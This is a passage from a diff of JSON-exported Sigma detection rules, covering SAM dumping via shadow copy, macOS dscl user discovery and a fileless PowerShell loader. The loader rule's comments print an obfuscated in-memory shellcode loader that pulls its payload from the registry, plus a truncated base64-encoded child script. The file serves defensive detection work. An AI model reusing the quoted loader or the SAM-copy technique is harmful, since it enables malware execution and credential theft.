+}
+{
+  "id": "716e6c14-f88a-4b70-a62b-aa332b631bab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074729Z",
+  "creation_date": "2026-03-23T11:45:34.074731Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074735Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/002/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1003_002_powershell_sam_vss.yml",
+  "content": "title: SAM Dumped from a Volume Shadow Copy via PowerShell File::Copy\nid: 716e6c14-f88a-4b70-a62b-aa332b631bab\ndescription: |\n    Detects the usage of a PowerShell script accessing the SAM (Security Account Manager) hive via a Volume Shadow Copy by using .NET's File::Copy API to copy the SAM database.\n    After parsing it, an attacker could gain access to local account hashes.\n    It is recommended to determine if this PowerShell script has a legitimate reason to do so, which is unlikely.\nreferences:\n    - https://attack.mitre.org/techniques/T1003/002/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2021/12/13\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1003.002\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - '[System.IO.File]::Copy'\n            - '\\\\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy'\n            - 'Windows\\System32\\config\\SAM'\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "716e6c14-f88a-4b70-a62b-aa332b631bab",
+  "rule_name": "SAM Dumped from a Volume Shadow Copy via PowerShell File::Copy",
+  "rule_description": "Detects the usage of a PowerShell script accessing the SAM (Security Account Manager) hive via a Volume Shadow Copy by using .NET's File::Copy API to copy the SAM database.\nAfter parsing it, an attacker could gain access to local account hashes.\nIt is recommended to determine if this PowerShell script has a legitimate reason to do so, which is unlikely.\n",
+  "rule_creation_date": "2021-12-13",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.002",
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "719d9b93-0d7f-432a-9548-c653974e8c18",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295139Z",
+  "creation_date": "2026-03-23T11:45:35.295142Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295149Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1087/001/"
+  ],
+  "name": "t1087_001_dscl_users_macos.yml",
+  "content": "title: Users Listed via Dscl\nid: 719d9b93-0d7f-432a-9548-c653974e8c18\ndescription: |\n    Detects the execution of the dscl command to list all users.\n    Attackers may use it during the discovery phase of an attack to retrieve the list of existing users.\n    It is recommended to check for malicious behavior by the process launching dscl.\nreferences:\n    - https://attack.mitre.org/techniques/T1087/001/\ndate: 2022/12/01\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.001\n    - attack.t1033\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Dscl\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection_base:\n        # dscl . -list users\n        # dscl . -list /Users\n        # dscl . -list /Users/../Users\n        # dscl . search /Users \"UserShell\" \"/bin/zsh\"\n        Image: '/usr/bin/dscl'\n        CommandLine|contains:\n            - 'list '\n            - 'search '\n        ParentImage|contains: '?'\n\n    selection_users:\n        CommandLine|contains: 'users'\n\n    exclusion_jamf:\n        - ProcessAncestors|contains: '/usr/local/jamf/bin/jamf'\n        - ProcessParentCommandLine|contains: '/Library/Application Support/JAMF/tmp/'\n\n    exclusion_airwatch:\n        ParentImage: '/Library/Application Support/AirWatch/hubd'\n\n    exclusion_filewave:\n        - Ancestors|contains: '|/usr/local/sbin/FileWave.app/Contents/MacOS/fwcld|'\n        - GrandparentCommandLine: '/bin/bash /private/var/FileWave/custom_field_script.sh'\n\n    exclusion_munki:\n        - GrandparentImage: '/Library/MunkiReport/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python'\n        - ParentCommandLine|contains: '/usr/local/munkireport/scripts/'\n\n    exclusion_landesk:\n        GrandparentImage:\n            - '/Library/Application Support/LANDesk/bin/ldiscan'\n            - '/Library/Application Support/LANDesk/bin/ldapm'\n\n    exclusion_ardagent:\n        ProcessParentCommandLine|contains: '/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart'\n\n    exclusion_fsecure:\n        ParentCommandLine|endswith: '/usr/local/f-secure/bin/uninstall_MacProtection'\n\n    exclusion_haxm:\n        GrandparentImage: '/usr/local/haxm/haxm-launcher'\n\n    exclusion_manageengine:\n        GrandparentImage: '/Library/ManageEngine/UEMS_Agent/bin/dcinventory'\n\n    exclusion_meraki:\n        Ancestors|contains: '|/Library/Application Support/Meraki/m_agent|'\n\n    exclusion_mosyle:\n        Ancestors|contains: '|/Library/Application Support/Mosyle/MosyleMDM.app/Contents/MacOS/MosyleMDM|'\n\n    exclusion_ninjarmm:\n        ParentImage: '/Applications/NinjaRMMAgent/programfiles/ninjarmm-macagent'\n\n    exclusion_parallels:\n        Ancestors|contains: '/Applications/Parallels Desktop.app/Contents/MacOS/prl_client_app'\n\n    exclusion_intune:\n        Ancestors|contains: '|/Library/Intune/Microsoft Intune Agent.app/Contents/MacOS/IntuneMdmDaemon|'\n\n    exclusion_packagekit:\n        Ancestors|contains: '|/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service|'\n\n    exclusion_wazuh:\n        Ancestors|contains: '/Library/Ossec/bin/wazuh-modulesd|'\n\n    exclusion_installer:\n        ProcessGrandparentCommandLine|startswith:\n            - '/bin/sh /tmp/PKInstallSandbox.??????/'\n            - '/bin/bash /tmp/pkinstallsandbox.??????/'\n\n    condition: selection_base and selection_users and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "719d9b93-0d7f-432a-9548-c653974e8c18",
+  "rule_name": "Users Listed via Dscl",
+  "rule_description": "Detects the execution of the dscl command to list all users.\nAttackers may use it during the discovery phase of an attack to retrieve the list of existing users.\nIt is recommended to check for malicious behavior by the process launching dscl.\n",
+  "rule_creation_date": "2022-12-01",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1087.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "71c03cb7-362d-4076-95e6-72f3834cdd23",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085108Z",
+  "creation_date": "2026-03-23T11:45:34.085111Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085115Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/FuzzySecurity/HackSysTeam-PSKernelPwn"
+  ],
+  "name": "t1059_001_unknown_malicious_powershell.yml",
+  "content": "title: Generic Malicious PowerShell Payload Detected\nid: 71c03cb7-362d-4076-95e6-72f3834cdd23\ndescription: |\n    Detects suspicious PowerShell command-line arguments used by an unknown fileless malware that reads an additional payload from the registry.\n    Adversaries may use encoded PowerShell cmdlets to deploy staged payloads.\n    It is recommended to check for malicious actions by child and parent processes of PowerShell and to look for other suspicious activities on the host.\nreferences:\n    - https://github.com/FuzzySecurity/HackSysTeam-PSKernelPwn\ndate: 2021/12/20\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.t1106\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Malware.Generic\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_powershell:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n\n    selection_loader_1:\n        # $VaCs3fdEn = \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Shell\";$A89Qc27sM0 = \"{009C12BA-9447-54BC-EA2080AE57C8148B}\";function LH3YNl12m{Param([OutputType([Type])][Parameter( Position = 0)][Type[]]$oCUkRh1v8 = (New-Object Type[](0)),[Parameter( Position = 1 )][Type]$DrFWIrAyX = [Void])$HZsTHC = [AppDomain]::CurrentDomain;$T1opS9Lis7 = New-Object System.Reflection.AssemblyName('ReflectedDelegate');$ryR9tOl = $HZsTHC.DefineDynamicAssembly($T1opS9Lis7, [System.Reflection.Emit.AssemblyBuilderAccess]::Run);$JAROetsrFZ = $ryR9tOl.DefineDynamicModule('InMemoryModule', $false);$ZNXMFeI = $JAROetsrFZ.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);$Dishyv6phR = $ZNXMFeI.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $oCUkRh1v8);$Dishyv6phR.SetImplementationFlags('Runtime, Managed');$sVRpoyL = $ZNXMFeI.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $DrFWIrAyX, $oCUkRh1v8);$sVRpoyL.SetImplementationFlags('Runtime, Managed');Write-Output $ZNXMFeI.CreateType();}function g2WlK($HS1ZO, $tiiuai) {$IbsFQ6  = $HS1ZO[$tiiuai+0] * 16777216;$IbsFQ6 += $HS1ZO[$tiiuai+1] * 65536;$IbsFQ6 += $HS1ZO[$tiiuai+2] * 256;$IbsFQ6 += $HS1ZO[$tiiuai+3] * 1;return $IbsFQ6;}$LrV8DtVv = \"{0}IntPtr GetCurrentProcess();{0}IntPtr VirtualAlloc(IntPtr addr, uint size, uint type, uint prot);{0}bool WriteProcessMemory(IntPtr proc, IntPtr addr, byte[] buf, uint size, uint written);{0}uint SetErrorMode(uint mode);\" -f \"[DllImport(`\"kernel32.dll`\")]public static extern \";$yz7b7 = Add-Type -memberDefinition $LrV8DtVv -Name \"Win32\" -namespace Win32Functions -passthru;if (!$yz7b7) {Stop-Process -Force $PID;}function zvawmO952($LrV8DtVv, $LE9SaaFu7u, $LEsgFYY1Md) {$AM5Fw0fCuS = $yz7b7::GetCurrentProcess();$MHUHV = $yz7b7::VirtualAlloc(0,$LrV8DtVv.Length,0x00003000,0x40);$OMdlGR = $yz7b7::VirtualAlloc(0,$LEsgFYY1Md.Length,0x00003000,0x40);$yz7b7::WriteProcessMemory($AM5Fw0fCuS, $MHUHV, $LrV8DtVv, $LrV8DtVv.Length, 0) | Out-Null;$yz7b7::WriteProcessMemory($AM5Fw0fCuS, $OMdlGR, $LEsgFYY1Md, $LEsgFYY1Md.Length, 0) | Out-Null;$waEmkZRWoF = [IntPtr]($MHUHV.ToInt64()+$LE9SaaFu7u);$CiTgve = LH3YNl12m @([IntPtr], [IntPtr]) ([Void]);$qzYRF = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($waEmkZRWoF, $CiTgve);$yz7b7::SetErrorMode(0x8006) | Out-Null;$qzYRF.Invoke($OMdlGR, $MHUHV);}function W3F6u($sGkh0Zb6n, $PjFjESeo) {$UW2UgVXH = g2WlK $sGkh0Zb6n 1;$bolOl = 5;while ($bolOl+8 -lt $UW2UgVXH) {$sYG3eEIY5R = $sGkh0Zb6n[$bolOl];$QHLEHOG = g2WlK $sGkh0Zb6n ($bolOl+1);$xBpbyxhk0 = g2WlK $sGkh0Zb6n ($bolOl+5);$bolOl += 9;if ($sYG3eEIY5R -eq $PjFjESeo) {zvawmO952 $sGkh0Zb6n[$bolOl..($bolOl+$QHLEHOG)] $xBpbyxhk0 $sGkh0Zb6n;break;} else {$bolOl += $QHLEHOG;}}}$MIJKw26g = (Get-ItemProperty -Path \"$VaCs3fdEn\" -Name \"$A89Qc27sM0\" -ErrorAction SilentlyContinue).$A89Qc27sM0;if (!$MIJKw26g) {$MIJKw26g = \"\";for ($bolOl=0; $XF4voR=(Get-ItemProperty -Path \"$VaCs3fdEn\" -Name \"$A89Qc27sM0-$bolOl\" -ErrorAction SilentlyContinue).\"$A89Qc27sM0-$bolOl\"; $bolOl++) {$MIJKw26g += $XF4voR.Trim();}}$sGkh0Zb6n = [System.Convert]::FromBase64String($MIJKw26g);$sGkh0Zb6n[0] = 0;if ([IntPtr]::Size -eq 8) {W3F6u $sGkh0Zb6n 2;} else {W3F6u $sGkh0Zb6n 1;}Stop-Process -Force $PID;\n        CommandLine|contains:\n            # New-Object System.Reflection.AssemblyName('ReflectedDelegate');\n            - 'TgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACgAJwBSAGUAZgBsAGUAYwB0AGUAZABEAGUAbABlAGcAYQB0AGUAJwApADsA'\n            - '4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAoACcAUgBlAGYAbABlAGMAdABlAGQARABlAGwAZQBnAGEAdABlACcAKQA7A'\n            - 'OAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAKAAnAFIAZQBmAGwAZQBjAHQAZQBkAEQAZQBsAGUAZwBhAHQAZQAnACkAOw'\n\n    selection_loader_2:\n        CommandLine|contains:\n            # .DefineDynamicModule('InMemoryModule',\n            - 'LgBEAGUAZgBpAG4AZQBEAHkAbgBhAG0AaQBjAE0AbwBkAHUAbABlACgAJwBJAG4ATQBlAG0AbwByAHkATQBvAGQAdQBsAGUAJwAsACAA'\n            - '4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBNAG8AZAB1AGwAZQAoACcASQBuAE0AZQBtAG8AcgB5AE0AbwBkAHUAbABlACcALAAgA'\n            - 'uAEQAZQBmAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAKAAnAEkAbgBNAGUAbQBvAHIAeQBNAG8AZAB1AGwAZQAnACwAIA'\n\n    selection_loader_3:\n        CommandLine|contains:\n            # {0}IntPtr GetCurrentProcess();{0}IntPtr VirtualAlloc(IntPtr addr, uint size, uint type, uint prot);{0}bool WriteProcessMemory(IntPtr proc, IntPtr addr, byte[] buf, uint size, uint written);{0}uint SetErrorMode(uint mode);\n            - 'ewAwAH0ASQBuAHQAUAB0AHIAIABHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApADsAewAwAH0ASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAYQBkAGQAcgAsACAAdQBpAG4AdAAgAHMAaQB6AGUALAAgAHUAaQBuAHQAIAB0AHkAcABlACwAIAB1AGkAbgB0ACAAcAByAG8AdAApADsAewAwAH0AYgBvAG8AbAAgAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgB5ACgASQBuAHQAUAB0AHIAIABwAHIAbwBjACwAIABJAG4AdABQAHQAcgAgAGEAZABkAHIALAAgAGIAeQB0AGUAWwBdACAAYgB1AGYALAAgAHUAaQBuAHQAIABzAGkAegBlACwAIAB1AGkAbgB0ACAAdwByAGkAdAB0AGUAbgApADsAewAwAH0AdQBpAG4AdAAgAFMAZQB0AEUAcgByAG8AcgBNAG8AZABlACgAdQBpAG4AdAAgAG0AbwBkAGUAKQA7A'\n            - 'sAMAB9AEkAbgB0AFAAdAByACAARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQA7AHsAMAB9AEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGEAZABkAHIALAAgAHUAaQBuAHQAIABzAGkAegBlACwAIAB1AGkAbgB0ACAAdAB5AHAAZQAsACAAdQBpAG4AdAAgAHAAcgBvAHQAKQA7AHsAMAB9AGIAbwBvAGwAIABXAHIAaQB0AGUAUAByAG8AYwBlAHMAcwBNAGUAbQBvAHIAeQAoAEkAbgB0AFAAdAByACAAcAByAG8AYwAsACAASQBuAHQAUAB0AHIAIABhAGQAZAByACwAIABiAHkAdABlAFsAXQAgAGIAdQBmACwAIAB1AGkAbgB0ACAAcwBpAHoAZQAsACAAdQBpAG4AdAAgAHcAcgBpAHQAdABlAG4AKQA7AHsAMAB9AHUAaQBuAHQAIABTAGUAdABFAHIAcgBvAHIATQBvAGQAZQAoAHUAaQBuAHQAIABtAG8AZABlACkAOw'\n            - '7ADAAfQBJAG4AdABQAHQAcgAgAEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkAOwB7ADAAfQBJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABhAGQAZAByACwAIAB1AGkAbgB0ACAAcwBpAHoAZQAsACAAdQBpAG4AdAAgAHQAeQBwAGUALAAgAHUAaQBuAHQAIABwAHIAbwB0ACkAOwB7ADAAfQBiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHAAcgBvAGMALAAgAEkAbgB0AFAAdAByACAAYQBkAGQAcgAsACAAYgB5AHQAZQBbAF0AIABiAHUAZgAsACAAdQBpAG4AdAAgAHMAaQB6AGUALAAgAHUAaQBuAHQAIAB3AHIAaQB0AHQAZQBuACkAOwB7ADAAfQB1AGkAbgB0ACAAUwBlAHQARQByAHIAbwByAE0AbwBkAGUAKAB1AGkAbgB0ACAAbQBvAGQAZQApADsA'\n\n    selection_child_1:\n        # $dANHP8T = \"\\Microsoft\\Windows\\Diagnosis\\8328329d-db4e-5fe3-d9d7cf43b3599e76\";$c85X2z = 1;$cAQNi = \"JABaAGgAUwBrAHgAVwAgAD0AIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAaABlAGwAbAAiADsAJABFAEcASABSAFgAZQBsADIAIAA9ACAAIgB7AEEAMQA3ADIANwAyADUAQwAtADAARgA2AEIALQA1AEIAQwAzAC0AOABBADEARAA5ADUANQA3ADMAOAAyADYAMwAwADIANQB9ACIAOwBmAHUAbgBjAHQAaQBvAG4AIABjAE4ARQBTAFEAaQB7AFAAYQByAGEAbQAoAFsATwB1AHQAcAB1AHQAVAB5AHAAZQAoAFsAVAB5AHAAZQBdACkAXQBbAFAAYQByAGEAbQBlAHQAZQByACgAIABQAG8AcwBpAHQAaQBvAG4AIAA9ACAAMAApAF0AWwBUAHkAcABlAFsAXQBdACQASABmADUAOQBHAGcAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAVAB5AHAAZQBbAF0AKAAwACkAKQAsAFsAUABhAHIAYQBtAGUAdABlAHIAKAAgAFAAbwBzAGkAdABpAG8AbgAgAD0AIAAxACAAKQBdAFsAVAB5AHAAZQBdACQAdABRADkARQBkACAAPQAgAFsAVgBvAGkAZABdACkAJABNAGgAdABXAGIAZwBkAHQAIAA9ACAAWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuADsAJABwADAAYgBKAFcARwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAKAAnAFIAZQBmAGwAZQBjAHQAZQBkAEQAZQBsAGUAZwBhAHQAZQAnACkAOwAkAFAAagBqAHMASwBhAFUARABlACAAPQAgACQATQBoAHQAVwBiAGcAZAB0AC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBBAHMAcwBlAG0AYgBsAHkAKAAkAHAAMABiAEoAVwBHACwAIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEUAbQBpAHQALgBBAHMAcwBlAG0AYgBsAHkAQgB1AGkAbABkAGUAcgBBAGMAYwBlAHMAcwBdADoAOgBSAHUAbgApADsAJABnAGwAMwBZAHoASABjAHUAcQBJACAAPQAgACQAUABqAGoAcwBLAGEAVQBEAGUALgBEAGUAZgBpAG4AZQBEAHkAbgBhAG0AaQBjAE0AbwBkAHUAbABlACgAJwBJAG4ATQBlAG0AbwByAHkATQBvAGQAdQBsAGUAJwAsACAAJABmAGEAbABzAGUAKQA7ACQAUwB4ADQAMwBWAEIAWABtACAAPQAgACQAZwBsADMAWQB6AEgAYwB1AHEASQAuAEQAZQBmAGkAbgBlAFQAeQBwAGUAKAAnAE0AeQBEAGUAbABlAGcAYQB0AGUAVAB5AHAAZQAnACwAIAAnAEMAbABhAHMAcwAsACAAUAB1AGIAbABpAGMALAAgAFMAZQBhAGwAZQBkACwAIABBAG4AcwBpAEMAbABhAHMAcwAsACAAQQB1AHQAbwBDAGwAYQBzAHMAJwAsACAAWwBTAHkAcwB0AGUAbQAuAE0AdQBsAHQAaQBjAGEAcwB0AEQAZQBsAGUAZwBhAHQAZQBdACkAOwAkAGgAWQAzAEUAdgB1ACAAPQAgACQAUwB4ADQAMwBWAEIAWABtAC4ARABlAGYAaQBuAGUAQwBvAG4AcwB0AHIAdQBjAHQAbwByACgAJwBSAFQAUwBwAGUAYwBpAGEAbABOAGEAbQBlACwAIABIAGkAZABlAEIAeQBTAGkAZwAsACAAUAB1AGIAbABpAGMAJwAsACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBDAGEAbABsAGkAbgBnAEMAbwBuAHYAZQBuAHQAaQBvAG4AcwBdADoAOgBTAHQAYQBuAGQAYQByAGQALAAgACQASABmADUAOQBHAGcAKQA7ACQAaABZADMARQB2AHUALgBTAGUAdABJAG0AcABsAGUAbQBlAG4AdABhAHQAaQBvAG4ARgBsAGEAZwBzACgAJwBSAHUAbgB0AGkAbQBlACwAIABNAGEAbgBhAGcAZQBkACcAKQA7ACQAegBNAGkAQgBPAHAAQwB4ACAAPQAgACQAUwB4ADQAMwBWAEIAWABtAC4ARABlAGYAaQBuAGUATQBlAHQAaABvAGQAKAAnAEkAbgB2AG8AawBlACcALAAgACcAUAB1AGIAbABpAGMALAAgAEgAaQBkAGUAQgB5AFMAaQBnACwAIABOAGUAdwBTAGwAbwB0ACwAIABWAGkAcgB0AHUAYQBsACcALAAgACQAdABRADkARQBkACwAIAAkAEgAZgA1ADkARwBnACkAOwAkAHoATQBpAEIATwBwAEMAeAAuAFMAZQB0AEkAbQBwAGwAZQBtAGUAbgB0AGEAdABpAG8AbgBGAGwAYQBnAHMAKAAnAFIAdQBuAHQAaQBtAGUALAAgAE0AYQBuAGEAZwBlAGQAJwApADsAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAkAFMAeAA0ADMAVgBCAFgAbQAuAEMAcgBlAGEAdABlAFQAeQBwAGUAKAApADsAfQBmAHUAbgBjAHQAaQBvAG4AIABOAFUAQQBsAEcAQwBYAHAAZwAoACQAeQBRAEwAcQA0AGwAawBRACwAIAAkAGUAMgBIAGoAYQApACAAewAkAGIARABKAEMAMgBIAHEAWQAgACAAPQAgACQAeQBRAEwAcQA0AGwAawBRAFsAJABlADIASABqAGEAKwAwAF0AIAAqACAAMQA2ADcANwA3ADIAMQA2ADsAJABiAEQASgBDADIASABxAFkAIAArAD0AIAAkAHkAUQBMAHEANABsAGsAUQBbACQAZQAyAEgAagBhACsAMQBdACAAKgAgADYANQA1ADMANgA7ACQAYgBEAEoAQwAyAEgAcQBZACAAKwA9ACAAJAB5AFEATABxADQAbABrAFEAWwAkAGUAMgBIAGoAYQArADIAXQAgACoAIAAyADUANgA7ACQAYgBEAEoAQwAyAEgAcQBZACAAKwA9ACAAJAB5AFEATABxADQAbABrAFEAWwAkAGUAMgBIAGoAYQArADMAXQAgACoAIAAxADsAcgBlAHQAdQByAG4AIAAkAGIARABKAEMAMgBIAHEAWQA7AH0AJABMAE0ARgB6AEIAaABwAGwAYQBlACAAPQAgACIAewAwAH0ASQBuAHQAUAB0AHIAIABHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApADsAewAwAH0ASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAYQBkAGQAcgAsACAAdQBpAG4AdAAgAHMAaQB6AGUALAAgAHUAaQBuAHQAIAB0AHkAcABlACwAIAB1AGkAbgB0ACAAcAByAG8AdAApADsAewAwAH0AYgBvAG8AbAAgAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgB5ACgASQBuAHQAUAB0AHIAIABwAHIAbwBjACwAIABJAG4AdABQAHQAcgAgAGEAZABkAHIALAAgAGIAeQB0AGUAWwBdACAAYgB1AGYALAAgAHUAaQBuAHQAIABzAGkAegBlACwAIAB1AGkAbgB0ACAAdwByAGkAdAB0AGUAbgApADsAewAwAH0AdQBpAG4AdAAgAFMAZQB0AEUAcgByAG8AcgBNAG8AZABlACgAdQBpAG4AdAAgAG0AbwBkAGUAKQA7ACIAIAAtAGYAIAAiAFsARABsAGwASQBtAHAAbwByAHQAKABgACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAYAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIAAiADsAJABkAE0ASwBVAGIATgAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAEwATQBGAHoAQgBoAHAAbABhAGUAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAaQBmACAAKAAhACQAZABNAEsAVQBiAE4AKQAgAHsAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAA